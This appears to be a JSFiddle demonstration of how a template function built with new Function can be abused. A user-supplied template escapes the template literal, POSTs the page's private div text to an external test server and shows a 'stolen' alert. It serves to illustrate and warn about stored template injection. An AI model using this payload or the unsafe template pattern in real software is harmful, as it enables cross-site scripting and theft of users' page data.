JSFiddle - React, Tailwind, and code Playground

by Lamik

HTML

<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>


<button class="btn" onclick="parseString()">Click me! :)</button>

<div id="msg"></div>

CSS

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

JavaScript

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
// Sample
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain);

console.log(result);

msg.innerHTML+=`Look on Chrome console> networks and look for <b>POST server?id...</b> request with stolen data (look on "request payload" a t the bottom)`;

}

window.parseString=parseString;